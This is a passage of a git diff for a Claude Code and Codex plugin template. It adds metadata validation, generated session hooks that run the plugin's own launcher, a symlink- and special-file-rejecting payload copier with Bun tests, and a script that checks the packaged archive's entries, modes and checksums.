config.shortDescription.length > 30) { + errors.push("shortDescription must be at most 30 characters") + } + if ( + !Array.isArray(config.defaultPrompts) || + config.defaultPrompts.some((prompt) => typeof prompt !== "string" || prompt.length > 128) + ) { + errors.push("defaultPrompts entries must be at most 128 characters") + } + return { + profile: directoryReadinessProfile, + ok: errors.length === 0, + errors, + notEvaluated: [...directoryReadinessNotEvaluated], + } +} + +function validateConfig(config: PluginConfig): void { + validatePackageContract(config) + const directoryReadiness = checkDirectoryReadiness(config) + if (!directoryReadiness.ok) { + throw new Error(`${directoryReadiness.profile}: ${directoryReadiness.errors.join("; ")}`) } } @@ -98,6 +344,7 @@ function claudeMarketplace(config: PluginConfig): GeneratedFile { description: config.description, author: config.author, source: "./plugin", + defaultEnabled: false, }, ], }), @@ -127,7 +374,9 @@ function claudeManifest(config: PluginConfig): GeneratedFile { path: "plugin/.claude-plugin/plugin.json", contents: serialize({ name: config.name, + displayName: config.displayName, version: config.version, + defaultEnabled: false, description: config.description, author: config.author, repository: config.repository, @@ -165,7 +414,41 @@ function codexManifest(config: PluginConfig): GeneratedFile { } } -/** Render native Claude and Codex manifests from canonical metadata. */ +function codexHooks(config: PluginConfig): GeneratedFile { + return { + path: "plugin/hooks/codex/hooks.json", + contents: serialize({ + hooks: { + SessionStart: [ + { + matcher: "*", + hooks: [ + { + type: "command", + command: `"\${PLUGIN_ROOT}/bin/hello-world" hook --harness codex --event SessionStart --plugin-version ${config.version} # x-release-please-version`, + timeout: 10, + statusMessage: "Running portable plugin hook", + }, + ], + }, + ], + Stop: [ + { + hooks: [ + { + type: "command", + command: `"\${PLUGIN_ROOT}/bin/hello-world" hook --harness codex --event Stop --plugin-version ${config.version} # x-release-please-version`, + timeout: 10, + }, + ], + }, + ], + }, + }), + } +} + +/** Render native Claude and Codex files from canonical metadata. */ export function renderGeneratedFiles(config: PluginConfig): GeneratedFile[] { validateConfig(config) return [ @@ -173,6 +456,7 @@ export function renderGeneratedFiles(config: PluginConfig): GeneratedFile[] { codexMarketplace(config), claudeManifest(config), codexManifest(config), + codexHooks(config), ] } diff --git a/scripts/plugin-files.test.ts b/scripts/plugin-files.test.ts new file mode 100644 index 0000000..9497fe0 --- /dev/null +++ b/scripts/plugin-files.test.ts @@ -0,0 +1,210 @@ +import * as fileSystem from "node:fs" +import { createServer } from "node:net" +import { tmpdir } from "node:os" +import { join } from "node:path" + +import { afterEach, expect, test } from "bun:test" + +import { + compareCodeUnits, + copyPluginPayload, + directoryArchiveEntries, + pluginPayloadInventory, +} from "./plugin-files" + +const temporaryRoots: string[] = [] + +function pluginFixture(): { sourceRoot: string; pluginRoot: string; targetRoot: string } { + const sourceRoot = fileSystem.mkdtempSync(join(tmpdir(), "plugin-payload-")) + temporaryRoots.push(sourceRoot) + const pluginRoot = join(sourceRoot, "plugin") + fileSystem.mkdirSync(pluginRoot) + fileSystem.writeFileSync(join(pluginRoot, "a-safe.txt"), "safe\n") + return { sourceRoot, pluginRoot, targetRoot: join(sourceRoot, "copied") } +} + +function expectUnsafeEntryRejected( + entry: string, + setup: (fixture: ReturnType) => void, + reason: "symlink" | "special file", +): void { + const fixture = pluginFixture() + setup(fixture) + + expect(() => copyPluginPayload(fixture.sourceRoot, fixture.targetRoot)).toThrow( + new RegExp(`${entry}.*${reason}`), + ) + expect(fileSystem.existsSync(fixture.targetRoot)).toBe(false) +} + +afterEach(() => { + for (const temporaryRoot of temporaryRoots.splice(0)) { + fileSystem.rmSync(temporaryRoot, { recursive: true, force: true }) + } +}) + +test("copy rejects an internal symlink before copying payload content", () => { + expectUnsafeEntryRejected( + "z-internal-link", + ({ pluginRoot }) => fileSystem.symlinkSync("a-safe.txt", join(pluginRoot, "z-internal-link")), + "symlink", + ) +}) + +test("copy rejects an external symlink before copying payload content", () => { + expectUnsafeEntryRejected( + "z-external-link", + ({ sourceRoot, pluginRoot }) => { + const externalPath = join(sourceRoot, "outside.txt") + fileSystem.writeFileSync(externalPath, "outside\n") + fileSystem.symlinkSync(externalPath, join(pluginRoot, "z-external-link")) + }, + "symlink", + ) +}) + +test("copy rejects a dangling symlink before copying payload content", () => { + expectUnsafeEntryRejected( + "z-dangling-link", + ({ pluginRoot }) => + fileSystem.symlinkSync("missing.txt", join(pluginRoot, "z-dangling-link")), + "symlink", + ) +}) + +test("copy rejects a nested symlink escape before copying payload content", () => { + expectUnsafeEntryRejected( + "nested/z-escape", + ({ sourceRoot, pluginRoot }) => { + const externalDirectory = join(sourceRoot, "outside") + fileSystem.mkdirSync(externalDirectory) + fileSystem.writeFileSync(join(externalDirectory, "escaped.txt"), "escaped\n") + fileSystem.mkdirSync(join(pluginRoot, "nested")) + fileSystem.symlinkSync(externalDirectory, join(pluginRoot, "nested", "z-escape")) + }, + "symlink", + ) +}) + +test("copy rejects a Unix-domain socket before copying payload content", async () => { + const fixture = pluginFixture() + const socketPath = join(fixture.pluginRoot, "z-socket") + const server = createServer() + try { + await new Promise((resolve, reject) => { + server.once("error", reject) + server.listen(socketPath, () => { + server.off("error", reject) + resolve() + }) + }) + expect(() => copyPluginPayload(fixture.sourceRoot, fixture.targetRoot)).toThrow( + /z-socket.*special file/, + ) + expect(fileSystem.existsSync(fixture.targetRoot)).toBe(false) + } finally { + if (server.listening) { + await new Promise((resolve, reject) => { + server.close((error) => (error ? reject(error) : resolve())) + }) + } + } +}) + +test("copy rejects an empty payload directory instead of silently dropping it", () => { + const fixture = pluginFixture() + fileSystem.mkdirSync(join(fixture.pluginRoot, "empty")) + + expect(() => copyPluginPayload(fixture.sourceRoot, fixture.targetRoot)).toThrow( + /empty.*empty directory/, + ) + expect(fileSystem.existsSync(fixture.targetRoot)).toBe(false) +}) + +test("copy preserves every regular file path, mode, and byte", () => { + const { sourceRoot, pluginRoot, targetRoot } = pluginFixture() + fileSystem.chmodSync(join(pluginRoot, "a-safe.txt"), 0o640) + fileSystem.mkdirSync(join(pluginRoot, "nested", "deeper"), { recursive: true }) + fileSystem.writeFileSync(join(pluginRoot, "nested", "binary.dat"), Buffer.from([0, 1, 2, 255])) + fileSystem.writeFileSync(join(pluginRoot, "nested", "deeper", "run"), "#!/bin/sh\n") + fileSystem.chmodSync(join(pluginRoot, "nested", "deeper", "run"), 0o751) + const expectedInventory = ["a-safe.txt", "nested/binary.dat", "nested/deeper/run"] + + expect(copyPluginPayload(sourceRoot, targetRoot)).toEqual(expectedInventory) + for (const relativePath of expectedInventory) { + const sourcePath = join(pluginRoot, relativePath) + const targetPath = join(targetRoot, relativePath) + expect(fileSystem.readFileSync(targetPath)).toEqual(fileSystem.readFileSync(sourcePath)) + expect(fileSystem.statSync(targetPath).mode & 0o7777).toBe( + fileSystem.statSync(sourcePath).mode & 0o7777, + ) + } +}) + +test("inventory order is stable and sorted", () => { + const { sourceRoot, pluginRoot } = pluginFixture() + fileSystem.writeFileSync(join(pluginRoot, "z-last.txt"), "last\n") + fileSystem.mkdirSync(join(pluginRoot, "middle")) + fileSystem.writeFileSync(join(pluginRoot, "middle", "first.txt"), "first\n") + const expected = ["a-safe.txt", "middle/first.txt", "z-last.txt"] + + expect(pluginPayloadInventory(sourceRoot)).toEqual(expected) + expect(pluginPayloadInventory(sourceRoot)).toEqual(expected) +}) + +test("inventory and archive order use locale-independent code-unit comparison", () => { + const { sourceRoot, pluginRoot } = pluginFixture() + for (const name of ["Z-upper.txt", "ä-localized.txt"]) { + fileSystem.writeFileSync(join(pluginRoot, name), `${name}\n`) + } + + expect(["ä-localized.txt", "a-safe.txt", "Z-upper.txt"].sort(compareCodeUnits)).toEqual([ + "Z-upper.txt", + "a-safe.txt", + "ä-localized.txt", + ]) + expect(pluginPayloadInventory(sourceRoot)).toEqual([ + "Z-upper.txt", + "a-safe.txt", + "ä-localized.txt", + ]) + expect(directoryArchiveEntries(pluginRoot, "plugin-0.1.0")).toEqual([ + "plugin-0.1.0/", + "plugin-0.1.0/Z-upper.txt", + "plugin-0.1.0/a-safe.txt", + "plugin-0.1.0/ä-localized.txt", + ]) +}) + +test("inventory and archive entries preserve newline-bearing names without line parsing", () => { + const { sourceRoot, pluginRoot } = pluginFixture() + const unusualName = "line\nbreak.txt" + fileSystem.writeFileSync(join(pluginRoot, unusualName), "unusual\n") + + expect(pluginPayloadInventory(sourceRoot)).toContain(unusualName) + expect(directoryArchiveEntries(pluginRoot, "plugin-0.1.0")).toContain( + `plugin-0.1.0/${unusualName}`, + ) +}) + +test("inventory includes an unexpected regular file", () => { + const { sourceRoot, pluginRoot } = pluginFixture() + fileSystem.writeFileSync(join(pluginRoot, "unexpected.extra"), "include me\n") + + expect(pluginPayloadInventory(sourceRoot)).toEqual(["a-safe.txt", "unexpected.extra"]) +}) + +test("archive order keeps each directory beside its descendants", () => { + const { pluginRoot } = pluginFixture() + fileSystem.mkdirSync(join(pluginRoot, "runtime")) + fileSystem.writeFileSync(join(pluginRoot, "runtime", "a.js"), "runtime\n") + fileSystem.writeFileSync(join(pluginRoot, "runtime.txt"), "sibling\n") + + expect(directoryArchiveEntries(pluginRoot, "plugin-0.1.0")).toEqual([ + "plugin-0.1.0/", + "plugin-0.1.0/a-safe.txt", + "plugin-0.1.0/runtime/", + "plugin-0.1.0/runtime/a.js", + "plugin-0.1.0/runtime.txt", + ]) +}) diff --git a/scripts/plugin-files.ts b/scripts/plugin-files.ts index 988ae0e..3fa3707 100644 --- a/scripts/plugin-files.ts +++ b/scripts/plugin-files.ts @@ -1,24 +1,136 @@ -import { cpSync, mkdirSync, readdirSync } from "node:fs" -import { join } from "node:path" +import { + chmodSync, + copyFileSync, + lstatSync, + mkdirSync, + readdirSync, + realpathSync, +} from "node:fs" +import { dirname, join, resolve } from "node:path" /** Canonical directory copied by development staging and release packaging. */ export const PLUGIN_DIRECTORY = "plugin" +/** + * Order paths by JavaScript code units so inventories never depend on process locale. + * + * @param left - First path or entry name + * @param right - Second path or entry name + * @returns Negative when left sorts first, positive when right sorts first, or zero when equal + * + * @example + * ```ts + * ["ä", "Z", "a"].sort(compareCodeUnits) + * ``` + */ +export function compareCodeUnits(left: string, right: string): number { + return left < right ? -1 : left > right ? 1 : 0 +} + +/** + * List one directory tree in the exact depth-first order used by deterministic tar input. + * + * @param directory - Absolute directory whose entries have already passed payload validation + * @param prefix - Archive-relative root name + * @returns Root, directory, and file entries with directories carrying trailing slashes + * + * @example + * ```ts + * directoryArchiveEntries("/tmp/plugin", "hello-0.1.0") + * ``` + */ +export function directoryArchiveEntries(directory: string, prefix: string): string[] { + const entries = [`${prefix}/`] + for (const entry of readdirSync(directory, { withFileTypes: true }).sort((left, right) => + compareCodeUnits(left.name, right.name), + )) { + const relativePath = `${prefix}/${entry.name}` + if (entry.isDirectory()) { + entries.push(...directoryArchiveEntries(join(directory, entry.name), relativePath)) + } else { + entries.push(relativePath) + } + } + return entries +} + +function unsafeEntry(relativePath: string, reason: string): Error { + const entry = relativePath ? `${PLUGIN_DIRECTORY}/${relativePath}` : PLUGIN_DIRECTORY + return new Error(`unsafe plugin payload entry "${entry}": ${reason}`) +} + +/** + * Discover the one deterministic set of regular files that may become a Plugin Payload. + * + * @param sourceRoot - Repository root containing the canonical `plugin/` directory + * @returns Sorted paths relative to `plugin/`, using forward slashes + * @throws {Error} When the plugin root or any descendant is empty, a symlink, or a special file + * + * @example + * ```ts + * const files = pluginPayloadInventory(process.cwd()) + * ``` + */ +export function pluginPayloadInventory(sourceRoot: string): string[] { + const pluginRoot = resolve(sourceRoot, PLUGIN_DIRECTORY) + const pluginRootStatus = lstatSync(pluginRoot) + if (pluginRootStatus.isSymbolicLink()) throw unsafeEntry("", "symlink") + if (!pluginRootStatus.isDirectory()) throw unsafeEntry("", "special file (expected directory)") + + const pluginRealRoot = realpathSync(pluginRoot) + const inventory: string[] = [] + + function walk(directory: string, relativeDirectory: string): void { + const entries = readdirSync(directory).sort(compareCodeUnits) + if (entries.length === 0) throw unsafeEntry(relativeDirectory, "empty directory") + for (const entry of entries) { + const absolutePath = join(directory, entry) + const relativePath = relativeDirectory ? `${relativeDirectory}/${entry}` : entry + const status = lstatSync(absolutePath) + + if (status.isSymbolicLink()) throw unsafeEntry(relativePath, "symlink") + if (!status.isDirectory() && !status.isFile()) { + throw unsafeEntry(relativePath, "special file (FIFO, device, or socket)") + } + if (status.isDirectory()) { + walk(absolutePath, relativePath) + continue + } + inventory.push(relativePath) + } + } + + // Walk from the resolved root. Every descendant is lstat'd and symlinks are + // rejected before descent, so valid POSIX names need no per-entry realpath. + walk(pluginRealRoot, "") + return inventory.sort(compareCodeUnits) +} + /** * Copy the exact canonical plugin payload without repository tooling or source. * * @param sourceRoot - Repository root containing the canonical `plugin/` directory * @param targetRoot - Empty or replaceable directory receiving plugin contents + * @returns The validated inventory copied into the target + * @throws {Error} When the canonical payload contains an empty directory, symlink, special file, or realpath escape * * @example * ```ts * copyPluginPayload(process.cwd(), "/tmp/installed-plugin") * ``` */ -export function copyPluginPayload(sourceRoot: string, targetRoot: string): void { - const pluginRoot = join(sourceRoot, PLUGIN_DIRECTORY) +export function copyPluginPayload(sourceRoot: string, targetRoot: string): string[] { + const pluginRoot = resolve(sourceRoot, PLUGIN_DIRECTORY) + const inventory = pluginPayloadInventory(sourceRoot) mkdirSync(targetRoot, { recursive: true }) - for (const entry of readdirSync(pluginRoot).sort()) { - cpSync(join(pluginRoot, entry), join(targetRoot, entry), { recursive: true }) + for (const relativePath of inventory) { + const sourcePath = join(pluginRoot, relativePath) + const targetPath = join(targetRoot, relativePath) + const sourceStatus = lstatSync(sourcePath) + if (!sourceStatus.isFile()) throw unsafeEntry(relativePath, "changed after inventory (expected file)") + mkdirSync(dirname(targetPath), { recursive: true }) + copyFileSync(sourcePath, targetPath) + chmodSync(targetPath, sourceStatus.mode & 0o7777) } + return inventory } diff --git a/scripts/plugin-manifest-contract.test.ts b/scripts/plugin-manifest-contract.test.ts new file mode 100644 index 0000000..a596ce0 --- /dev/null +++ b/scripts/plugin-manifest-contract.test.ts @@ -0,0 +1,261 @@ +import { existsSync, readFileSync } from "node:fs" +import { join, resolve } from "node:path" + +import { expect, test } from "bun:test" + +import { + CLAUDE_DISABLED_BY_DEFAULT_COMPATIBILITY, + checkDirectoryReadiness, + renderGeneratedFiles, + type PluginConfig, + validatePackageContract, +} from "./plugin-config" + +const root = resolve(import.meta.dir, "..") +const pluginRoot = join(root, "plugin") +const config = JSON.parse(readFileSync(join(root, "plugin.config.json"), "utf8")) as PluginConfig +const claudeManifest = JSON.parse( + readFileSync(join(pluginRoot, ".claude-plugin", "plugin.json"), "utf8"), +) +const codexManifest = JSON.parse( + readFileSync(join(pluginRoot, ".codex-plugin", "plugin.json"), "utf8"), +) +const claudeMarketplace = JSON.parse( + readFileSync(join(root, ".claude-plugin", "marketplace.json"), "utf8"), +) +const codexMarketplace = JSON.parse( + readFileSync(join(root, ".agents", "plugins", "marketplace.json"), "utf8"), +) + +test("checked-in native manifests satisfy the published harness contracts", () => { + expect(() => validatePackageContract(config)).not.toThrow() + + for (const field of [ + "name", + "version", + "description", + "author", + "repository", + "license", + "keywords", + "skills", + "hooks", + ]) { + expect(claudeManifest[field], `Claude manifest field ${field}`).toBeDefined() + expect(codexManifest[field], `Codex manifest field ${field}`).toBeDefined() + } + + expect(claudeManifest).toMatchObject({ + name: config.name, + displayName: config.displayName, + version: config.version, + defaultEnabled: false, + description: config.description, + author: config.author, + repository: config.repository, + license: config.license, + keywords: config.keywords, + }) + expect(codexManifest).toMatchObject({ + name: config.name, + version: config.version, + description: config.description, + author: config.author, + repository: config.repository, + license: config.license, + keywords: config.keywords, + }) + + expect(config.displayName.length).toBeLessThanOrEqual(30) + expect(codexManifest.interface).toMatchObject({ + displayName: config.displayName, + shortDescription: config.shortDescription, + longDescription: config.longDescription, + developerName: config.author.name, + category: config.category, + capabilities: config.capabilities, + defaultPrompt: config.defaultPrompts, + }) + expect(config.shortDescription).not.toContain("\n") + expect(config.shortDescription.length).toBeLessThanOrEqual(30) + expect(config.longDescription.length).toBeLessThanOrEqual(1_024) + expect(config.capabilities.length).toBeLessThanOrEqual(20) + expect(config.defaultPrompts.length).toBeLessThanOrEqual(3) + expect(config.defaultPrompts.every((prompt: string) => prompt.length <= 128)).toBe(true) + + for (const manifest of [claudeManifest, codexManifest]) { + for (const field of ["skills", "hooks"]) { + const path = manifest[field] + expect(path.startsWith("./"), `${field} must be plugin-relative`).toBe(true) + expect(existsSync(join(pluginRoot, path)), `${field} target must exist`).toBe(true) + } + } +}) + +test("native marketplace projections preserve identity, source, policy, and activation safety", () => { + expect(claudeMarketplace.metadata.version).toBe(config.version) + expect(claudeMarketplace.plugins[0]).toMatchObject({ + name: config.name, + source: "./plugin", + defaultEnabled: false, + }) + expect(claudeManifest).toMatchObject({ + name: claudeMarketplace.plugins[0].name, + version: claudeMarketplace.metadata.version, + defaultEnabled: false, + }) + + expect(codexMarketplace.plugins[0]).toMatchObject({ + name: config.name, + source: { source: "local", path: "./plugin" }, + policy: { installation: "AVAILABLE", authentication: "ON_INSTALL" }, + category: config.category, + }) + expect(codexMarketplace).not.toHaveProperty("version") + expect(codexMarketplace.plugins[0]).not.toHaveProperty("version") + expect(codexMarketplace.plugins[0].policy.installation).not.toBe("INSTALLED_BY_DEFAULT") +}) + +test("disabled-on-install behavior names its Claude Code compatibility boundary", () => { + expect(CLAUDE_DISABLED_BY_DEFAULT_COMPATIBILITY).toEqual({ + minimumVersion: "2.1.154", + warning: "Earlier Claude Code clients ignore defaultEnabled and may enable plugins on install.", + }) +}) + +test.each([ + ["stable", "1.2.3"], + ["prerelease", "1.2.3-rc.1"], + ["build", "1.2.3+build.5"], +] as const)("accepts a valid %s semantic version", (_name, version) => { + const valid = structuredClone(config) + valid.version = version + expect(() => renderGeneratedFiles(valid)).not.toThrow() +}) + +test.each([ + "https://github.com/myagentdojo/agent-plugin-template", + "https://github.com/myagentdojo/agent-plugin-template.git", +] as const)("accepts the canonical GitHub HTTPS repository URL %s", (repository) => { + const valid = structuredClone(config) + valid.repository = repository + expect(() => renderGeneratedFiles(valid)).not.toThrow() +}) + +test.each([ + ["name", (value: PluginConfig) => (value.name = "Not Valid"), "plugin name"], + ["leading-zero core version", (value: PluginConfig) => (value.version = "01.0.0"), "semantic versioning"], + ["leading-zero prerelease", (value: PluginConfig) => (value.version = "1.2.3-01"), "semantic versioning"], + ["invalid prerelease", (value: PluginConfig) => (value.version = "1.2.3-rc_1"), "semantic versioning"], + ["invalid build", (value: PluginConfig) => (value.version = "1.2.3+build_5"), "semantic versioning"], + ["missing version component", (value: PluginConfig) => (value.version = "1.2"), "semantic versioning"], + ["version length", (value: PluginConfig) => (value.version = `1.2.3-${"a".repeat(59)}`), "64 characters"], + ["required display name", (value: PluginConfig) => (value.displayName = ""), "are required"], + ["multiline display name", (value: PluginConfig) => (value.displayName = "Two\nLines"), "displayName"], + ["display name", (value: PluginConfig) => (value.displayName = "x".repeat(31)), "displayName"], + ["developer name", (value: PluginConfig) => (value.author.name = "x".repeat(81)), "author.name"], + ["multiline developer name", (value: PluginConfig) => (value.author.name = "Two\nLines"), "author.name"], + ["description length", (value: PluginConfig) => (value.description = "x".repeat(1_025)), "description"], + ["description control text", (value: PluginConfig) => (value.description = "unsafe\u0000text"), "description"], + ["empty short description", (value: PluginConfig) => (value.shortDescription = ""), "shortDescription"], + ["short description line", (value: PluginConfig) => (value.shortDescription = "two\nlines"), "shortDescription"], + ["short description length", (value: PluginConfig) => (value.shortDescription = "x".repeat(31)), "shortDescription"], + ["long description", (value: PluginConfig) => (value.longDescription = ""), "longDescription"], + ["long description length", (value: PluginConfig) => (value.longDescription = "x".repeat(1_025)), "longDescription"], + ["long description control text", (value: PluginConfig) => (value.longDescription = "unsafe\u0000text"), "longDescription"], + ["category", (value: PluginConfig) => (value.category = "Unknown"), "category"], + ["capability count", (value: PluginConfig) => (value.capabilities = Array(21).fill("Read")), "capabilities"], + ["empty capability", (value: PluginConfig) => (value.capabilities = [""]), "capabilities"], + ["capability length", (value: PluginConfig) => (value.capabilities = ["x".repeat(121)]), "capabilities"], + ["duplicate capability", (value: PluginConfig) => (value.capabilities = ["Read files", " Read files "]), "capabilities"], + ["multiline capability", (value: PluginConfig) => (value.capabilities = ["Read\nfiles"]), "capabilities"], + ["license", (value: PluginConfig) => (value.license = ""), "license"], + ["unsupported license", (value: PluginConfig) => (value.license = "MIT OR Apache-2.0"), "license"], + ["empty keyword", (value: PluginConfig) => (value.keywords = [""]), "keywords"], + ["duplicate keyword", (value: PluginConfig) => (value.keywords = ["Agent Plugin", " agent plugin "]), "keywords"], + ["unsupported keyword", (value: PluginConfig) => (value.keywords = ["agent/plugin"]), "keywords"], + ["non-HTTPS repository", (value: PluginConfig) => (value.repository = "http://example.com/plugin.git"), "repository"], + ["repository without host", (value: PluginConfig) => (value.repository = "https://"), "repository"], + ["repository credentials", (value: PluginConfig) => (value.repository = "https://user:secret@example.com/plugin.git"), "repository"], + ["non-GitHub repository", (value: PluginConfig) => (value.repository = "https://git.example.com/team/plugin.git"), "canonical GitHub"], + ["repository query", (value: PluginConfig) => (value.repository = "https://github.com/team/plugin.git?ref=main"), "canonical GitHub"], + ["repository unsupported text", (value: PluginConfig) => (value.repository = "https://example.com/plugin name.git"), "repository"], + ["canary owner", (value: PluginConfig) => (value.canary.owner = "not_valid"), "canary.owner"], + [ + "missing canary owner", + (value: PluginConfig) => delete (value.canary as { owner?: string }).owner, + "canary.owner", + ], + ["canary actor", (value: PluginConfig) => (value.canary.actor = "not_valid"), "canary.actor"], + [ + "missing canary actor", + (value: PluginConfig) => delete (value.canary as { actor?: string }).actor, + "canary.actor", + ], + ["prompt count", (value: PluginConfig) => (value.defaultPrompts = Array(4).fill("Run")), "defaultPrompts"], + ["prompt length", (value: PluginConfig) => (value.defaultPrompts = ["x".repeat(129)]), "defaultPrompts"], + ["empty prompt", (value: PluginConfig) => (value.defaultPrompts = [""]), "defaultPrompts"], + ["whitespace prompt", (value: PluginConfig) => (value.defaultPrompts = [" "]), "defaultPrompts"], + ["multiline prompt", (value: PluginConfig) => (value.defaultPrompts = ["Run\nthis"]), "defaultPrompts"], + ["duplicate prompt", (value: PluginConfig) => (value.defaultPrompts = ["Run this", " Run this "]), "defaultPrompts"], + ["mention prompt", (value: PluginConfig) => (value.defaultPrompts = ["@agent run this"]), "defaultPrompts"], +] as const)("rejects invalid published %s metadata", (_name, mutate, message) => { + const invalid = structuredClone(config) + mutate(invalid) + expect(() => renderGeneratedFiles(invalid)).toThrow(message) +}) + +test("directory-readiness text subset reports its limits without claiming publication readiness", () => { + expect(checkDirectoryReadiness(config)).toEqual({ + ok: true, + profile: "directory-readiness text subset", + errors: [], + notEvaluated: [ + "public ZIP", + "assets", + "identity", + "portal review", + "approval", + "publication", + ], + }) +}) + +test("package validation and directory-readiness text limits remain separate boundaries", () => { + const packageReady = structuredClone(config) + packageReady.displayName = "x".repeat(31) + + expect(() => validatePackageContract(packageReady)).not.toThrow() + expect(checkDirectoryReadiness(packageReady)).toMatchObject({ + profile: "directory-readiness text subset", + ok: false, + errors: ["displayName must be at most 30 characters"], + }) + expect(() => renderGeneratedFiles(packageReady)).toThrow("directory-readiness text subset") +}) + +test("generated Codex hook commands bind the canonical plugin version", () => { + const codexHooks = JSON.parse( + readFileSync(join(pluginRoot, "hooks", "codex", "hooks.json"), "utf8"), + ) + for (const event of ["SessionStart", "Stop"]) { + expect(codexHooks.hooks[event][0].hooks[0].command).toContain( + `--plugin-version ${config.version}`, + ) + } +}) + +const claudeExecutable = Bun.which("claude") +if (claudeExecutable) { + test("checked-in Claude plugin passes strict native validation", () => { + const result = Bun.spawnSync({ + cmd: [claudeExecutable, "plugin", "validate", "--strict", pluginRoot], + cwd: root, + stdout: "pipe", + stderr: "pipe", + }) + expect(result.exitCode, `${result.stdout.toString()}${result.stderr.toString()}`).toBe(0) + }) +} else { + test.skip("checked-in Claude plugin passes strict native validation (Claude CLI unavailable)", () => {}) +} diff --git a/scripts/prove-distribution.ts b/scripts/prove-distribution.ts index ac42223..49e957c 100644 --- a/scripts/prove-distribution.ts +++ b/scripts/prove-distribution.ts @@ -1,20 +1,28 @@ import { + lstatSync, mkdirSync, readFileSync, rmSync, statSync, } from "node:fs" -import { join, resolve } from "node:path" +import { basename, join, resolve } from "node:path" +import { assertDistributionChecksumIdentity } from "./distribution-checksums" +import { + directoryArchiveEntries, + PLUGIN_DIRECTORY, + pluginPayloadInventory, +} from "./plugin-files" import { loadPluginConfig } from "./plugin-config" const root = resolve(import.meta.dir, "..") const pluginConfig = loadPluginConfig(root) const packageName = `${pluginConfig.name}-${pluginConfig.version}` +const inventory = pluginPayloadInventory(root) interface PackageResult { archive: string - provenance: string + checksums: string archiveBytes: number archiveDigest: string } @@ -60,13 +68,20 @@ if (first.archiveDigest !== second.archiveDigest) { throw new Error(`package is not deterministic: ${first.archiveDigest} != ${second.archiveDigest}`) } -const archiveEntries = Bun.spawnSync({ - cmd: ["tar", "-tzf", second.archive], - stdout: "pipe", +const extractedRoot = join(root, ".dev", "distribution-proof") +rmSync(extractedRoot, { recursive: true, force: true }) +mkdirSync(extractedRoot, { recursive: true }) +const extract = Bun.spawnSync({ + cmd: ["tar", "-xzpf", second.archive, "-C", extractedRoot], + stdout: "inherit", stderr: "inherit", }) -if (archiveEntries.exitCode !== 0) process.exit(archiveEntries.exitCode) -const entries = archiveEntries.stdout.toString().trim().split("\n") +if (extract.exitCode !== 0) process.exit(extract.exitCode) + +const installedRoot = join(extractedRoot, packageName) +const entries = directoryArchiveEntries(extractedRoot, "") + .slice(1) + .map((entry) => entry.slice(1)) for (const required of [ `${packageName}/.claude-plugin/plugin.json`, `${packageName}/.codex-plugin/plugin.json`, @@ -84,24 +99,48 @@ for (const required of [ ]) { if (!entries.includes(required)) throw new Error(`package is missing ${required}`) } +const expectedEntries = directoryArchiveEntries(join(root, PLUGIN_DIRECTORY), packageName) +if (JSON.stringify(entries) !== JSON.stringify(expectedEntries)) { + throw new Error( + `package entries do not match plugin inventory:\nexpected ${JSON.stringify(expectedEntries)}\nreceived ${JSON.stringify(entries)}`, + ) +} if (entries.some((entry) => entry.endsWith(".ts") || entry.includes("/.git/"))) { throw new Error("package contains repository source or Git metadata") } if (entries.some((entry) => entry.startsWith(`${packageName}/scripts/`))) { throw new Error("package contains development scripts") } +for (const entry of expectedEntries) { + const installedPath = join(extractedRoot, entry) + const status = lstatSync(installedPath) + const isDirectory = entry.endsWith("/") + if (status.isDirectory() !== isDirectory) { + throw new Error(`extracted archive entry has the wrong type: ${entry}`) + } + let expectedMode = 0o755 + if (!isDirectory) { + const sourcePath = join(root, PLUGIN_DIRECTORY, entry.slice(packageName.length + 1)) + expectedMode = (statSync(sourcePath).mode & 0o111) !== 0 ? 0o755 : 0o644 + } + if ((status.mode & 0o777) !== expectedMode) { + throw new Error(`extracted archive entry has the wrong mode: ${entry}`) + } + if (Math.trunc(status.mtimeMs / 1000) !== 0) { + throw new Error(`extracted archive entry has the wrong mtime: ${entry}`) + } +} +for (const relativePath of inventory) { + const sourcePath = join(root, PLUGIN_DIRECTORY, relativePath) + const installedPath = join(installedRoot, relativePath) + if (!lstatSync(installedPath).isFile()) { + throw new Error(`extracted payload entry is not a regular file: ${relativePath}`) + } + if (!readFileSync(installedPath).equals(readFileSync(sourcePath))) { + throw new Error(`extracted payload bytes differ from plugin inventory: ${relativePath}`) + } +} -const extractedRoot = join(root, ".dev", "distribution-proof") -rmSync(extractedRoot, { recursive: true, force: true }) -mkdirSync(extractedRoot, { recursive: true }) -const extract = Bun.spawnSync({ - cmd: ["tar", "-xzf", second.archive, "-C", extractedRoot], - stdout: "inherit", - stderr: "inherit", -}) -if (extract.exitCode !== 0) process.exit(extract.exitCode) - -const installedRoot = join(extractedRoot, packageName) const launcher = join(installedRoot, "bin", "hello-world") const version = runPackaged(launcher, ["--version"]) if (version.exitCode !== 0 || version.stdout.trim() !== pluginConfig.version) { @@ -115,9 +154,11 @@ if (helloResult.message !== "Hello, packaged!" || helloResult.sideEffects !== "n } for (const harness of ["claude", "codex"] as const) { + const hookArguments = ["hook", "--harness", harness, "--event", "SessionStart"] + if (harness === "codex") hookArguments.push("--plugin-version", pluginConfig.version) const hook = runPackaged( launcher, - ["hook", "--harness", harness, "--event", "SessionStart"], + hookArguments, '{"session_id":"packaged-offline-proof"}\n', ) if (hook.exitCode !== 0 || !hook.stderr.includes(`hello-world hook: ${harness} SessionStart`)) { @@ -141,10 +182,23 @@ for (const asset of Object.values(assetManifest.assets) as Array<{ if (digest !== asset.sha256) throw new Error(`${asset.file} digest mismatch`) } -const provenance = JSON.parse(readFileSync(second.provenance, "utf8")) -if (provenance.archiveSha256 !== second.archiveDigest) { - throw new Error("provenance digest does not match the packaged archive") -} +const checksums = JSON.parse(readFileSync(second.checksums, "utf8")) +const sourceCommit = process.env.SOURCE_COMMIT ?? process.env.GITHUB_SHA ?? Bun.spawnSync({ + cmd: ["git", "rev-parse", "HEAD"], + cwd: root, + stdout: "pipe", + stderr: "inherit", +}).stdout.toString().trim() +assertDistributionChecksumIdentity(checksums, { + repository: pluginConfig.repository, + sourceCommit, + tag: `v${pluginConfig.version}`, + plugin: pluginConfig.name, + version: pluginConfig.version, + archive: basename(second.archive), + archiveBytes: second.archiveBytes, + archiveSha256: second.archiveDigest, +}) console.log( JSON.stringify({ diff --git a/scripts/prove-dx.ts b/scripts/prove-dx.ts index 9e9ac8f..5ce9cea 100644 --- a/scripts/prove-dx.ts +++ b/scripts/prove-dx.ts @@ -1,7 +1,10 @@ import { existsSync, readFileSync } from "node:fs" import { join, resolve } from "node:path" +import { pluginPayloadInventory } from "./plugin-files" + const root = resolve(import.meta.dir, "..") 